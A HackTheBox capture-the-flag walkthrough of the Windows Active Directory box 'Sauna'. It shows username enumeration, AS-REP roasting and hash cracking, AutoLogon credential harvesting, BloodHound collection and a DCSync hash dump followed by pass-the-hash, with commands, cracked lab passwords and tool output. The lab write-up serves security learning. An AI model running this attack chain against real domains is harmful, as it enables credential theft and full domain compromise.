HackTheBox: Sauna Walkthrough
Sauna was a neat chance to play with Windows Active Directory concepts packaged into an easy difficulty box. I’ll start by using a Kerberoast brute force on usernames to identify a handful of users, and then find that one of them has the flag set to allow me to grab their hash without authenticating to the domain. I’ll AS-REP Roast to get the hash, crack it, and get a shell. I’ll find the next users credentials in the AutoLogon registry key. BloodHound will show that user has privileges the allow it to perform a DC Sync attack, which provides all the domain hashes, including the administrators, which I’ll use to get a shell.
Let’s start with first things first, Let’s run an nmap scan to see what ports are open and what services are running on the box.
Nmap scan report for 10.10.10.175
Host is up (0.20s latency).
Not shown: 65515 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Egotistical Bank :: Home
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-07-09 01:37:11Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49677/tcp open msrpc Microsoft Windows RPC
49689/tcp open msrpc Microsoft Windows RPC
49696/tcp open msrpc Microsoft Windows RPC
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 6h59m59s
| smb2-time:
| date: 2023-07-09T01:38:08
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1053.08 seconds
The IIS server version suggests this is a Windows 10 / Server 2016 / Server 2019 machine.
The LDAP scripts show a domain name of EGOTISTICAL-BANK.LOCAL0. I’ll explore that more.
Just scrolling around, nothing interested jumps out. All the pages are static, and the forms don’t work. There isn’t much of value here. On the “About Us” page, there’s a list of the team:
I made of note of this in case I wanted to brute force something later, but I didn’t need it.
Directory Brute Force
While looking at the site, I also had gobuster running, but it didn’t find anything interesting either, So I jumped to smb.
smbclient -N -L //10.10.10.175
Anonymous login successful
Sharename Type Comment
--------- ---- -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.175 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
smbmap -H 10.10.10.175
[+] IP: 10.10.10.175:445 Name: 10.10.10.175
I have tried zone transfers but no luck, So I have decided to check on Kerberos is brute-focing user names. I’ll use Kerbrute to give this a run, and it finds four unique usernames:
fsmith is likely Fergus Smith:
I used a list of usernames from Seclists to do the brute to see if anything came out before trying to convert the names from the team page into a format. In a CTF, it makes sense to try a broad list first since it’s easier and noise doesn’t matter. If this were a real company, I’d probably try variations of the names, or look on social media to try to find a corporate email for the employees to get the username format first.
I made a list of the other users in the same format, [first initial][lastname]:
fsmith
scoins
sdriver
btayload
hbear
skerb
AS-REP Roasting Background
m0chan has a great post on attacking Kerberos that includes AS-REP Roasting. Typically, when you try to request authentication through Kerberos, first the requesting party has to authenticate itself to the DC. But there is an option, DONT_REQ_PREAUTH where the DC will just send the hash to an unauthenticated user. AS-REP Roasting is looking to see if any known users happen to have this option set.
Get Hash
I’ll use the list of users I collected from Kerbrute, and run GetNPUsers.py to look for vulnerable users. Three come back as not vulnerable, but one gives a hash:
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[-] User administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$fsmith@EGOTISTICAL-BANK.LOCAL:d01cc7f8194727a9b5ab6396c9ce3e5b$3435da36fd4352fa169e64513b8ea4853bfbc04aa2667117c442f01a3222928c459e8123fa8165754a13720806329d24c1779eb35771eee6c64edf6173d2b668940c28c92b0cb7dbfb60ec3325d78681189682b75f6b5a8cfa1c44828839a658a45e42ac8182b4f8971d28f9f9db150d9fcb35a75da1753ced620bb09b349d8a52fed3ffde8bed24569d10c1735e42dc1262eaafce48e18b5fc80bf4d600c409705c3431bc5aad85094a84d91d1c8a9e44725e61230f11e29d57fa7073932257ad9149cc585fb167b9424bcdc6a8245d9751989a0f79f2152547e980d51080aaf5c9eaf36c721c525adbde97356656dc085ae1977e81d41c54e48502b97f4605
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
Crack Hash
Now I just need to kick this over to john for cracking, and it works:
john --wordlist=/usr/share/wordlists/rockyou.txt fsmith
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 AVX 4x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Thestrokes23 ($krb5asrep$fsmith@EGOTISTICAL-BANK.LOCAL)
1g 0:00:02:30 DONE (2023-07-08 17:24) 0.006637g/s 69947p/s 69947c/s 69947C/s Thing..Thehunter22
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Now get the shell through Evil-Winrm.
Get the user flag and move on to privilege escalation part, For privilege escalation upload the WinPEAS to the target machine.
[+] Looking for AutoLogon credentials(T1012)
Some AutoLogon credentials were found!!
DefaultDomainName : EGOTISTICALBANK
DefaultUserName : EGOTISTICALBANK\svc_loanmanager
DefaultPassword : Moneymakestheworldgoround!
It can be found via manual enumeration.
reg.exe query “HKLM\software\microsoft\windows nt\currentversion\winlogon” would also dump this data.
*Evil-WinRM* PS C:\Users\FSmith\Desktop> reg.exe query "HKLM\software\microsoft\windows nt\currentversion\winlogon"
HKEY_LOCAL_MACHINE\software\microsoft\windows nt\currentversion\winlogon
AutoRestartShell REG_DWORD 0x1
Background REG_SZ 0 0 0
CachedLogonsCount REG_SZ 10
DebugServerCommand REG_SZ no
DefaultDomainName REG_SZ EGOTISTICALBANK
DefaultUserName REG_SZ EGOTISTICALBANK\svc_loanmanager
DisableBackButton REG_DWORD 0x1
EnableSIHostIntegration REG_DWORD 0x1
ForceUnlockLogon REG_DWORD 0x0
LegalNoticeCaption REG_SZ
LegalNoticeText REG_SZ
PasswordExpiryWarning REG_DWORD 0x5
PowerdownAfterShutdown REG_SZ 0
PreCreateKnownFolders REG_SZ {A520A1A4-1780-4FF6-BD18-167343C5AF16}
ReportBootOk REG_SZ 1
Shell REG_SZ explorer.exe
ShellCritical REG_DWORD 0x0
ShellInfrastructure REG_SZ sihost.exe
SiHostCritical REG_DWORD 0x0
SiHostReadyTimeOut REG_DWORD 0x0
SiHostRestartCountLimit REG_DWORD 0x0
SiHostRestartTimeGap REG_DWORD 0x0
Userinit REG_SZ C:\Windows\system32\userinit.exe,
VMApplet REG_SZ SystemPropertiesPerformance.exe /pagefile
WinStationsDisabled REG_SZ 0
scremoveoption REG_SZ 0
DisableCAD REG_DWORD 0x1
LastLogOffEndTimePerfCounter REG_QWORD 0x156458a35
ShutdownFlags REG_DWORD 0x13
DisableLockWorkstation REG_DWORD 0x0
DefaultPassword REG_SZ Moneymakestheworldgoround!
HKEY_LOCAL_MACHINE\software\microsoft\windows nt\currentversion\winlogon\AlternateShells
HKEY_LOCAL_MACHINE\software\microsoft\windows nt\currentversion\winlogon\GPExtensions
HKEY_LOCAL_MACHINE\software\microsoft\windows nt\currentversion\winlogon\UserDefaults
HKEY_LOCAL_MACHINE\software\microsoft\windows nt\currentversion\winlogon\AutoLogonChecked
HKEY_LOCAL_MACHINE\software\microsoft\windows nt\currentversion\winlogon\VolatileUserMgrKey
Running net user on the box showed there was no user svc_loanmanager:
*Evil-WinRM* PS C:\Users\FSmith\Desktop> net user
User accounts for \\
-------------------------------------------------------------------------------
Administrator FSmith Guest
HSmith krbtgt svc_loanmgr
The command completed with one or more errors.
But svc_loanmgr is pretty close.
I’ll try the creds with that user, and it works:
I ran winPEAS.exe again, but nothing new jumped out at me. Since there’s AD stuff going on, I went to Bloodhound.
Download / Install
I’ll clone the repository into /opt, and also got the latest release binary. I’ll start neo4j (apt install neo4j if it’s not already installed) with neo4j start, and then run Bloodhound. If you’re running as root, you’ll need the — no-sandbox flag.
If it’s a fresh install (or if you forget your password from a previous install, you can delete /usr/share/neo4j/data/dbms/auth and then it’s like a fresh install), I’ll need to change the neo4j password by running neo4j console, visiting the url it returns, and logging in with the default creds, neo4j/neo4j. It’ll force a password change them at that point. Now the BloodHound program can connect, thought first I need data.
Run SharpHound.exe
Before I can do analysis in BloodHound, I need to collect some data. I’ll grab SharpHound.exe from the injestors folder, and make a copy in my SMB share. Then I can run it right from there, and the output will write into the share as well:
Invoke-BloodHound -CollectionMethod All -Domain EGOTISTICAL-BANK.LOCAL -LDAPUser svc_loanmgr -LDAPPass 'Moneymakestheworldgoround!'
2023-07-08T22:15:33.1681936-07:00|INFORMATION|This version of SharpHound is compatible with the 4.3.1 Release of BloodHound
2023-07-08T22:15:33.3088158-07:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2023-07-08T22:15:33.3244627-07:00|INFORMATION|Initializing SharpHound at 10:15 PM on 7/8/2023
2023-07-08T22:15:33.4650900-07:00|INFORMATION|[CommonLib LDAPUtils]Found usable Domain Controller for EGOTISTICAL-BANK.LOCAL : SAUNA.EGOTISTICAL-BANK.LOCAL
2023-07-08T22:15:57.5366845-07:00|INFORMATION|Flags: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2023-07-08T22:15:57.6929331-07:00|INFORMATION|Beginning LDAP search for EGOTISTICAL-BANK.LOCAL
2023-07-08T22:15:57.7398343-07:00|INFORMATION|Producer has finished, closing LDAP channel
2023-07-08T22:15:57.7398343-07:00|INFORMATION|LDAP channel closed, waiting for consumers
2023-07-08T22:16:28.6168381-07:00|INFORMATION|Status: 0 objects finished (+0 0)/s -- Using 35 MB RAM
2023-07-08T22:16:55.8940048-07:00|INFORMATION|Consumers finished, closing output channel
2023-07-08T22:16:55.9252565-07:00|INFORMATION|Output channel closed, waiting for output task to complete
Closing writers
2023-07-08T22:16:56.1127548-07:00|INFORMATION|Status: 94 objects finished (+94 1.62069)/s -- Using 42 MB RAM
2023-07-08T22:16:56.1127548-07:00|INFORMATION|Enumeration finished in 00:00:58.4269973
2023-07-08T22:16:56.2065269-07:00|INFORMATION|Saving cache with stats: 53 ID to type mappings.
53 name to SID mappings.
0 machine sid mappings.
2 sid to domain mappings.
0 global catalog mappings.
2023-07-08T22:16:56.2221356-07:00|INFORMATION|SharpHound Enumeration Completed at 10:16 PM on 7/8/2023! Happy Graphing!
Analyze Results
I’ll import the .zip file into BloodHound by clicking the Upload Data button on the top right. Tt reports success, leaving me at a blank page. There are canned queries that might be useful, but I like to start with the user(s) I already have access to. I’ll search for SVC_LOANMGR@EGOTISTICAL-BANK.LOCAL in the bar at the top left, and it comes up on the graph. On the left, I’ll want to look for Outbound Object Control — These are items that this user has rights over. In this case, there is one:
This account has access to GetChanges and GetChangesAll on the domain. Googling that will quickly point to a low of articles on the DCSync attack, or I can right click on the label (you have to get in just the right spot) and get the menu for it:
Now let’s get a brief reading what DCSync is.
DCSync is a type of attack that allows an adversary to simulate the behavior of a domain controller (DC) and retrieve password data via domain replication. The classic use for DCSync is as a precursor to a Golden Ticket attack, as it can be used to retrieve the KRBTGT hash.
DCSync works by using commands in the Directory Replication Service Remote Protocol (MS-DRSR) to simulate the behavior of a domain controller and ask other domain controllers to replicate information. This is a valid and necessary function of Active Directory, so it cannot be turned off or disabled.
To perform a DCSync attack, an adversary must have compromised a user account with the Replicating Directory Changes All and Replicating Directory Changes privileges. Once they have done this, they can use a tool like Mimikatz to issue a DCSync command to the domain controller. This command will request the replication of all user accounts, including their password hashes.
The risks of DCSync attacks are significant. If an adversary is able to steal user passwords, they can then use those passwords to gain access to systems and data. They can also use the passwords to create Golden Tickets, which are tickets that grant the attacker full access to the domain.
There are a number of steps that can be taken to protect an organization from DCSync attacks, including:
Limiting the number of users who have the Replicating Directory Changes All and Replicating Directory Changes privileges.
Using a firewall to block unauthorized access to domain controllers.
Deploying a security solution that can detect and block DCSync attacks.
By understanding how DCSync attacks work, organizations can take steps to protect themselves from these attacks.
Here is a diagram that illustrates how a DCSync attack works:
The diagram shows that the attacker first compromises a user account with the Replicating Directory Changes All and Replicating Directory Changes privileges. They then use a tool like Mimikatz to issue a DCSync command to the domain controller. This command requests the replication of all user accounts, including their password hashes. The domain controller then replicates the user accounts to the attacker, who can then steal the password hashes.
My preferred way to do a DCSync attack is using secretsdump.py, which allows me to run DCSync attack from my Kali box, provided I can talk to the DC on TCP 445 and 135 and a high RPC port. This avoids fighting with AV, though it does create network traffic.
I need to give it just a target string in the format [username]:[password]@[ip]:
We got the admin hashes, Now just pass it with evil-winrm.
Now get the root flag and submit it, I hope you find this walkthrough useful.